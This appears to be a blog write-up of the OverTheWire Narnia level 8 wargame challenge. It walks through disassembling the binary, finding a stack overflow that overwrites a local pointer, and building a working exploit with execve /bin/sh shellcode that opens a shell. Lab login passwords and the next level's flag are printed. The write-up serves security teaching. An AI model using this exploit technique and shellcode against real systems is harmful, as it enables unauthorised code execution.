So it’s been quite the adventure over the last few weeks going through the narnia challenges and it’s finally time for the very last challenge. I’ve seen quite a few different ways that folks have tackled this challenge, however I went for a slightly different solution. Instead of using an environment variable, we’ll instead use a combination of ltrace and gdb to determine the location of the payload passed into the program.
narnia8
How to log into Narnia:
ssh -p 2226 narnia8@narnia.labs.overthewire.org
Password: mohthuphog
Where to find all of the challenges:
cd /narnia/
And for the last time, try running the program to get an idea of what’s going on - skipping straight to passing some more excessive input to try and make it crash.
1
2
3
4
|
narnia8@narnia:/narnia$ ./narnia8 `python -c 'print "A" * 1024'`
AAAAAAAAAAAAAAAAAAAAA????????????
narnia8@narnia:/narnia$ ./narnia8 `python -c 'print "A" * 2048'`
AAAAAAAAAAAAAAAAAAAAA????????????
|
I wasn’t able to get it to crash, but did see some sort of corruption. This is what ltrace shows:
1
2
3
4
5
6
|
narnia8@narnia:/narnia$ ltrace ./narnia8 `python -c 'print "A" * 2048'`
__libc_start_main(0x8048490, 2, 0xffffcf84, 0x80484d0 <unfinished ...>
memset(0xffffcec4, '\0', 20) = 0xffffcec4
printf("%s\n", "AAAAAAAAAAAAAAAAAAAAA\320\377\377\350\316\377\377\247\204\004\b"...AAAAAAAAAAAAAAAAAAAAA???????????
) = 37
+++ exited (status 0) +++
|
Trying a small value of A:
1
2
3
4
5
6
|
narnia8@narnia:/narnia$ ltrace ./narnia8 `python -c 'print "A" * 64'`
__libc_start_main(0x8048490, 2, 0xffffd744, 0x80484d0 <unfinished ...>
memset(0xffffd684, '\0', 20) = 0xffffd684
printf("%s\n", "AAAAAAAAAAAAAAAAAAAAA'\377\377\250\326\377\377\247\204\004\b"...AAAAAAAAAAAAAAAAAAAAA'???????r???
) = 37
+++ exited (status 0) +++
|
What about information leakage?
1
2
3
4
5
|
narnia8@narnia:/narnia$ ltrace ./narnia8 `python -c 'print "%x" * 32'`
__libc_start_main(0x8048490, 2, 0xffffd744, 0x80484d0 <unfinished ...>
memset(0xffffd684, '\0', 20) = 0xffffd684
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
|
A segfault. Interesting. Worth keeping in mind while looking through the assembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
narnia8@narnia:/narnia$ objdump -M intel -d narnia8 | awk -F"\n" -v RS="\n\n" '$1 ~ /main>/'
08048490 <main>:
8048490: 55 push ebp
8048491: 89 e5 mov ebp,esp
8048493: 83 7d 08 01 cmp DWORD PTR [ebp+0x8],0x1
8048497: 7e 13 jle 80484ac <main+0x1c>
8048499: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804849c: 83 c0 04 add eax,0x4
804849f: 8b 00 mov eax,DWORD PTR [eax]
80484a1: 50 push eax
80484a2: e8 74 ff ff ff call 804841b <func>
80484a7: 83 c4 04 add esp,0x4
80484aa: eb 13 jmp 80484bf <main+0x2f>
80484ac: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80484af: 8b 00 mov eax,DWORD PTR [eax]
80484b1: 50 push eax
80484b2: 68 54 85 04 08 push 0x8048554
80484b7: e8 24 fe ff ff call 80482e0 <printf@plt>
80484bc: 83 c4 08 add esp,0x8
80484bf: b8 00 00 00 00 mov eax,0x0
80484c4: c9 leave
80484c5: c3 ret
80484c6: 66 90 xchg ax,ax
80484c8: 66 90 xchg ax,ax
80484ca: 66 90 xchg ax,ax
80484cc: 66 90 xchg ax,ax
80484ce: 66 90 xchg ax,ax
|
This is likely the print for the usage:
1
2
3
4
5
6
|
80484b2: 68 54 85 04 08 push 0x8048554
80484b7: e8 24 fe ff ff call 80482e0 <printf@plt>
# Verify in GDB
(gdb) x/s 0x8048554
0x8048554: "%s argument\n"
|
So the main function isn’t very interesting it just checks to see if the argument isn’t null otherwise calls func with the argument from the command line. By now it’s pretty obvious where argv[0] comes from and indexing into it to get the values passed in:
1
2
3
4
5
6
7
8
9
10
11
|
8048499: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
(gdb) x/wx $ebp+0xc
0xffffd6c4: 0xffffd754
804849c: 83 c0 04 add eax,0x4
(gdb) x/wx 0xffffd758
0xffffd758: 0xffffd896
(gdb) x/s 0xffffd896
0xffffd896: "AAAA" # And the value that was passed in.
|
This moves the address of argv[1] into $eax so it can be passed at the first (and only) parameter of func:
1
2
3
|
804849f: 8b 00 mov eax,DWORD PTR [eax]
80484a1: 50 push eax
80484a2: e8 74 ff ff ff call 804841b <func>
|
Time for a deeper look into func:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
narnia8@narnia:/narnia$ objdump -M intel -d narnia8 | awk -F"\n" -v RS="\n\n" '$1 ~ /func>/'
0804841b <func>:
804841b: 55 push ebp
804841c: 89 e5 mov ebp,esp
804841e: 83 ec 18 sub esp,0x18
8048421: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048424: 89 45 fc mov DWORD PTR [ebp-0x4],eax
8048427: 6a 14 push 0x14
8048429: 6a 00 push 0x0
804842b: 8d 45 e8 lea eax,[ebp-0x18]
804842e: 50 push eax
804842f: e8 cc fe ff ff call 8048300 <memset@plt>
8048434: 83 c4 0c add esp,0xc
8048437: c7 05 b0 97 04 08 00 mov DWORD PTR ds:0x80497b0,0x0
804843e: 00 00 00
8048441: eb 26 jmp 8048469 <func+0x4e>
8048443: a1 b0 97 04 08 mov eax,ds:0x80497b0
8048448: 8b 15 b0 97 04 08 mov edx,DWORD PTR ds:0x80497b0
804844e: 89 d1 mov ecx,edx
8048450: 8b 55 fc mov edx,DWORD PTR [ebp-0x4]
8048453: 01 ca add edx,ecx
8048455: 0f b6 12 movzx edx,BYTE PTR [edx]
8048458: 88 54 05 e8 mov BYTE PTR [ebp+eax*1-0x18],dl
804845c: a1 b0 97 04 08 mov eax,ds:0x80497b0
8048461: 83 c0 01 add eax,0x1
8048464: a3 b0 97 04 08 mov ds:0x80497b0,eax
8048469: a1 b0 97 04 08 mov eax,ds:0x80497b0
804846e: 89 c2 mov edx,eax
8048470: 8b 45 fc mov eax,DWORD PTR [ebp-0x4]
8048473: 01 d0 add eax,edx
8048475: 0f b6 00 movzx eax,BYTE PTR [eax]
8048478: 84 c0 test al,al
804847a: 75 c7 jne 8048443 <func+0x28>
804847c: 8d 45 e8 lea eax,[ebp-0x18]
804847f: 50 push eax
8048480: 68 50 85 04 08 push 0x8048550
8048485: e8 56 fe ff ff call 80482e0 <printf@plt>
804848a: 83 c4 08 add esp,0x8
804848d: 90 nop
804848e: c9 leave
804848f: c3 ret
|
First up, allocate 0x18 (24) bytes on the stack:
1
|
804841e: 83 ec 18 sub esp,0x18
|
Load the address of what was passed into the function into $eax:
1
|
8048421: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
|
Then store that address into a local pointer in the function:
1
|
8048424: 89 45 fc mov DWORD PTR [ebp-0x4],eax
|
Next up is to setup the memset for the local array:
1
2
3
4
5
|
8048427: 6a 14 push 0x14
8048429: 6a 00 push 0x0
804842b: 8d 45 e8 lea eax,[ebp-0x18]
804842e: 50 push eax
804842f: e8 cc fe ff ff call 8048300 <memset@plt>
|
The size of the array is 0x14 (20) bytes:
1
|
8048427: 6a 14 push 0x14
|
Which makes sense given that we are using 0x4 bytes for the pointer and 0x14 for the array, which matches the 0x18 that was reserved. Next up another one of those non-obvious at first loops.
Set the initial value from some globally stored loop counter:
1
2
|
8048437: c7 05 b0 97 04 08 00 mov DWORD PTR ds:0x80497b0,0x0
804843e: 00 00 00
|
Jump all the way to where the test will happen:
1
2
|
8048441: eb 26 jmp 8048469 <func+0x4e>
…code that will be explored after explaining the loop…
|
Load the contents of the loop counter $edx. Move the address of our local pointer into $eax. Add the address of what we passed in to our loop variable value, given that we know it’s argv[1], it’s an array index. Move (and zero extend) the newly computed value into $eax. Check the lowest 8 bits (a byte) against themselves. If they aren’t equal, then jump into the loop body.
1
2
3
4
5
6
7
|
8048469: a1 b0 97 04 08 mov eax,ds:0x80497b0
804846e: 89 c2 mov edx,eax # Loop counter (i)
8048470: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] # Addr of argv[1][]
8048473: 01 d0 add eax,edx # Index into argv[1][i]
8048475: 0f b6 00 movzx eax,BYTE PTR [eax]
8048478: 84 c0 test al,al # if al == 0 -> ZF = 1
804847a: 75 c7 jne 8048443 <func+0x28> # if ZF != 1 -> jmp, in other words if argv[1][i] == 0 exit loop
|
Time to breakdown the body of the loop. First up get the value of the loop counter, followed by the value of the local variable. Add local variable and the loop counter, given that we know the local variable is just a pointer to argv[1] it’s just indexing into that char array. After that, store the address of the result into $edx with zero extending. Store the result of the lower 8bits (aka byte) into the loop index of the local array, aka array[i]. Finally increment the loop counter and start the loop condition checking all over:
1
2
3
4
5
6
7
8
9
10
|
8048443: a1 b0 97 04 08 mov eax,ds:0x80497b0 # Loop counter from data segment
8048448: 8b 15 b0 97 04 08 mov edx,DWORD PTR ds:0x80497b0 # Loop counter from data segment
804844e: 89 d1 mov ecx,edx
8048450: 8b 55 fc mov edx,DWORD PTR [ebp-0x4] # argv[1]
8048453: 01 ca add edx,ecx
8048455: 0f b6 12 movzx edx,BYTE PTR [edx] # argv[1][i]
8048458: 88 54 05 e8 mov BYTE PTR [ebp+eax*1-0x18],dl # [ebp-0x18] is the start of local array[], eax*1 is [i]
804845c: a1 b0 97 04 08 mov eax,ds:0x80497b0
8048461: 83 c0 01 add eax,0x1 # increment loop counter
8048464: a3 b0 97 04 08 mov ds:0x80497b0,eax
|
Lastly print out the contents of the local array:
1
2
3
4
|
804847c: 8d 45 e8 lea eax,[ebp-0x18]
804847f: 50 push eax
8048480: 68 50 85 04 08 push 0x8048550
8048485: e8 56 fe ff ff call 80482e0 <printf@plt>
|
Thinking through what the breakdown, the pseudo “C” code for the whole function would likely look something like this:
1
2
3
4
5
6
7
8
9
10
|
void func(char* argv) {
char* ptr;
char array[20];
ptr = argv;
memset(array, 0x0, 0x20);
for (i = 0; ptr[i] != 0; i++) {
array[i] = ptr[i];
}
printf("%s\n", array);
}
|
The important thing here is that the loop variable is not defined within the function itself nor within the loop. Instead the loop counter is actually part of the Data Segment. The other thing to note is that the loop will continue until it gets a terminator character in the array. Finally, the stack is laid out is interesting. If we dump the stack right after the memset:
1
2
3
4
5
6
7
8
9
10
|
(gdb) b *8048434
(gdb) r `python -c 'print "A"*32'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 `python -c 'print "A"*32'`
(gdb) x/40xw $esp
0xffffd684: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd694: 0x00000000 0xffffd886 0xffffd6a8 0x080484a7
0xffffd6a4: 0xffffd886 0x00000000 0xf7e2a286 0x00000002
|
We can see that the local buffer, (0xffffd684: <0x00000000 * 5>) and the pointer to argv[1] (0xffffd698: 0xffffd886) are adjacent to each other:
1
2
|
(gdb) x/s 0xffffd886
0xffffd886: 'A' <repeats 32 times>
|
Each time through the loop the address at the local pointer is dereferenced and the data at that location is copied to the local buffer (array[]). When the copy overflows past the size of the local buffer it will actually change the address pointed to by the local pointer (ptr). The next iteration through the loop then dereferences the new overwritten address being pointed to by the local pointer and tries to compare and copy that data.
1
2
3
4
5
6
7
8
9
10
11
12
|
(gdb) x/40xw $esp
0xffffd684: 0x00000000 0x00000000 0x00000000 0x00000000 # Before any copies
0xffffd694: 0x00000000 0xffffd886 0xffffd6a8 0x080484a7 # Note that ptr is 0xffffd886
...and running through to fill up the buffer and overflow once...
(gdb) x/40xw $esp
0xffffd674: 0x41414141 0x41414141 0x41414141 0x41414141 # Note that the "A"s have filled up the buffer
0xffffd684: 0x41414141 0xffffd841 0xffffd698 0x080484a7 # Notice that ptr is now 0xffffd841
..continue execution one more time...
(gdb) x/40xw $esp
0xffffd674: 0x41414141 0x41414141 0x41414141 0x41414141 # Loop copies all of the "A" to the buffer
0xffffd684: 0x41414141 0xffff0641 0xffffd698 0x080484a7 # Loop continues to copy the contents of "A" to
# the buffer and then overflows changing addr of the ptr
|
Knowing that we can control the overflow, it should be possible to use this to exploit the program. One of the biggest challenges is to maintain the value of ptr to ensure that it doesn’t get changed and always points to our input data. Accomplishing this should allow for smashing the stack and executing and code desired.
With that in mind the payload necessary to accomplish this looks like:
1
|
[junk data to fill array][address of ptr][junk data to clobber the stack][address of shell code to jump to replacing ret][shell code we'd want to execute]
|
Now to prove this out and take control of the return address:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
(gdb) r `python -c 'print "A"*20 + "\x66\xd8\xff\xff" + "CCCCDDDDEEEEFFFFGGGGHHHHIIII"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 `python -c 'print "A"*20 + "\x66\xd8\xff\xff" + "CCCCDDDDEEEEFFFFGGGGHHHHIIII"'`
Breakpoint 1, 0x08048434 in func ()
(gdb) c
Continuing.
Breakpoint 2, 0x0804847c in func ()
(gdb) x/40xw $esp
0xffffd664: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd674: 0x41414141 0xffffd866 0x43434343 0x44444444
0xffffd684: 0x45454545 0x46464646 0x47474747 0x48484848
0xffffd694: 0x49494949 0xffffd730 0x00000000 0x00000000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAf???CCCCDDDDEEEEFFFFGGGGHHHHIIII0???
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
|
SIGSEV and 0x44444444 means that we’ve sucessfully got control over the return address. Next step is to replace the payload with the shellcode used from the earlier narnia’s. Using GDB to verify and re-fill in the addresses before running - like we’ve seen in the past addresses tend to move around a bit, so double check:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
(gdb) r `python -c 'print "A"*20 + "\x49\xd8\xff\xff" + "CCCC"+ "\x64\xd6\xff\xff" + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 `python -c 'print "A"*20 + "\x49\xd8\xff\xff" + "CCCC"+ "\x64\xd6\xff\xff" + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"'`
Breakpoint 1, 0x08048434 in func ()
(gdb) ni
0x08048437 in func ()
(gdb) x/40xw $esp
0xffffd644: 0x00000000 0x00000000 0x00000000 0x00000000 # This is before any copies of our payload
0xffffd654: 0x00000000 0xffffd849 0xffffd668 0x080484a7
0xffffd664: 0xffffd849 0x00000000 0xf7e2a286 0x00000002
0xffffd674: 0xffffd704 0xffffd710 0x00000000 0x00000000
0xffffd684: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
0xffffd694: 0x00000000 0x00000002 0xf7fc5000 0x00000000
0xffffd6a4: 0x1885e29b 0x226d8e8b 0x00000000 0x00000000
0xffffd6b4: 0x00000000 0x00000002 0x08048320 0x00000000
0xffffd6c4: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000002
0xffffd6d4: 0x08048320 0x00000000 0x08048341 0x08048490
(gdb) c
Continuing.
|
There we have it, we successfully took control and wrote all of the shellcode we could ever dream of:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
Breakpoint 2, 0x0804847c in func ()
(gdb) x/40xw $esp
0xffffd644: 0x41414141 0x41414141 0x41414141 0x41414141 # After our payload has been copied
0xffffd654: 0x41414141 0xffffd849 0x43434343 0xffffd664
0xffffd664: 0x315e1aeb 0x074688c0 0x5e891e8d 0x0c468908
0xffffd674: 0xf3890bb0 0x8d084e8d 0x80cd0c56 0xffffe1e8
0xffffd684: 0x69622fff 0x68732f6e 0x4141414a 0x42424241
0xffffd694: 0x00000042 0x00000002 0xf7fc5000 0x00000000
0xffffd6a4: 0x1885e29b 0x226d8e8b 0x00000000 0x00000000
0xffffd6b4: 0x00000000 0x00000002 0x08048320 0x00000000
0xffffd6c4: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000002
0xffffd6d4: 0x08048320 0x00000000 0x08048341 0x08048490
# Continuing should give us a shell.
(gdb) c
Continuing.
$ whoami
narnia8
|
With confidence that this will work within gdb it’s time to try it out for real and finish this challenge:
1
2
3
4
|
narnia8@narnia:/narnia$ ./narnia `python -c 'print "A"*20 + "\x49\xd8\xff\xff" + "CCCC"+ "\x64\xd6\xff\xff" + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"'`^C
narnia8@narnia:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x49\xd8\xff\xff" + "CCCC"+ "\x64\xd6\xff\xff" + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"'`
AAAAAAAAAAAAAAAAAAAAI/???????g???
narnia8@narnia:/narnia$
|
Well that didn’t work as planned, no shell was spawned and it just printed out the garbage like before. This would mean that the address used in our payload wasn’t actually pointing to the right place and that using the addresses from gdb won’t work this time. So we need to figure out the address another way, luckily it should be possible to leak information using ltrace:
1
2
3
4
5
6
|
narnia8@narnia:/narnia$ ltrace ./narnia8 `python -c 'print "A"*20 + "\x49\xd8\xff\xff" + "CCCC"+ "\x64\xd6\xff\xff" + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"'`
__libc_start_main(0x8048490, 2, 0xffffd734, 0x80484d0 <unfinished ...>
memset(0xffffd674, '\0', 20) = 0xffffd674
printf("%s\n", "AAAAAAAAAAAAAAAAAAAAIa\377\377\230\326\377\377\247\204\004\b"...AAAAAAAAAAAAAAAAAAAAIa???????a???
) = 37
+++ exited (status 0) +++
|
The memset shows that the local buffer’s (array[]) address changed. Now for some magic, we can use this bit of information to calculate the location of ptr, where the return address is, and most importantly where the shellcode is going to be located.
Starting with the array[20], get the address of ptr:
1
|
0xffffd674 + 20 bytes for size of array = 0xffffd688
|
Next the address of the shell code, which should be 12 bytes after the address of ptr:
1
|
0xffffd688 + 12 bytes past ptr = 0xffffd694
|
Fixing the addresses in the exploit:
1
|
./narnia8 `python -c 'print "A"*20 + "\x88\xd6\xff\xff" + "CCCC"+ "\x94\xd6\xff\xff" + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"'`
|
Well hmm, so that still didn’t work out. For whatever reason we can’t seem to get the real addresses of the stack when running the program with ltrace or the gdb, so back to the drawing board. It was time to start over and think through everything from the beginning, going all the way to the original running of the program:
1
2
|
narnia8@narnia:/narnia$ ./narnia8 `python -c 'print "A"*20'`
AAAAAAAAAAAAAAAAAAAA?????????????
|
It looks like the program’s output is the buffer, since the buffer isn’t null terminated and we have exactly 20 “A"s in it, the printf should continue on printing whatever else is in the stack until it reaches a null terminator. Which means the address of our original buffer should be visible, in otherwords those ????? actually contain valuable data that we just need to be able to view. A hex dumper like xxd will allow us to view the output from narnia8 in a manner that should reveal what those ????? actually represent. Piping the output from narnia8 into xxd should do the trick:
1
2
3
4
|
narnia8@narnia:/narnia$ ./narnia8 `python -c 'print "A"*20'` | xxd -g 4
00000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00000010: 41414141 a9d8ffff d8d6ffff a7840408 AAAA............
00000020: a4d8ffff 0a .....
|
So sure enough that is the address. The next thing to be mindful of is that as the size of the input data changes, the addresses will shift a bit. We should be able to use gdb to help determine how much these addresses shift:
1
2
3
4
5
6
7
|
(gdb) r `python -c 'print "A"*20'`
Starting program: /narnia/narnia8 `python -c 'print "A"*20'`
Breakpoint 1, 0x08048437 in func ()
(gdb) x/40xw $esp
0xffffd684: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd694: 0x00000000 0xffffd886 0xffffd6a8 0x080484a7
|
So the address of our input buffer (argv[1]) inside of gdb with a length of 20 is 0xffffd886 and is located at 0xffffd698. With a the input buffer containing shellcode has an address of 0xffffd849, and is located here at 0xffffd658. The difference between these two on the stack is 0xffffd886 - 0xffffd849 = 0x3d. If we make the assumption that this difference should always hold up, we should be able to go back to the output from xxd and use the address it has to calculate exactly what we need for our payload.
So if the A * 20 input buffer is located at 0xffffd8a9 and use the assumption that 0x3d will always hold up, the address of the longer payload that we actually need can be calculated as 0xffffd8a9 - 0x3d = 0xffffd86c.
Which gives the payload:
1
2
3
4
5
6
|
narnia8@narnia:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x6c\xd8\xff\xff" + "CCCC"+ "\x82\xd8\xff\xff" + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"'`
AAAAAAAAAAAAAAAAAAAAg???CCCCAAAA?^1??F???F
?
???V
̀?????/bin/shJAAAABBBB
Segmentation fault
|
We’re almost there, especially since we can see the string for our shellcode. The piece that’s missing is the address of the shellcode. Since it’s all contained in the same payload that we are providing as input, we already know the address, just have to calculate it. The input buffer looks like:
1
|
[20 bytes for junk][4 bytes addr][4 bytes for junk][4 bytes for addr to shellcode][Shellcode]
|
In other words, there’s 32 bytes from the start off the input buffer to the start of the shellcode.
That gives the following address for the start of the shellcode offset from the start off the input buffer:
0xffffd86c + 0x20 = 0xffffd88c
With the updated addresses our payload should now be complete and spawn a shell:
1
2
3
4
5
6
7
|
narnia8@narnia:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x6c\xd8\xff\xff" + "CCCC"+ "\x8c\xd8\xff\xff" + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"'`
AAAAAAAAAAAAAAAAAAAAl???CCCC?????^1??F???F
?
???V
̀?????/bin/shJAAAABBBB
$ whoami
narnia9
|
And the flag:
1
2
|
$ cat /etc/narnia_pass/narnia9
eiL5fealae
|
This challenge was by far one of my favorites and also one of the most frustrating. After completing this challenge I looked around online to see how others solved it and most of the solutions I came across all relied on using the address of an env variable, which in hindsight would have been quite a bit easier as there are quite a few tricks that allow for easily determine that address. However, I’m quite pleased with this solution, especially since it required thinking very carefully about how the contents of the stack are all laid out. It’s also worth nothing that with control over the return address many other techniques (like Return-To-X) could be used to spawn a shell or whatever else you’d like.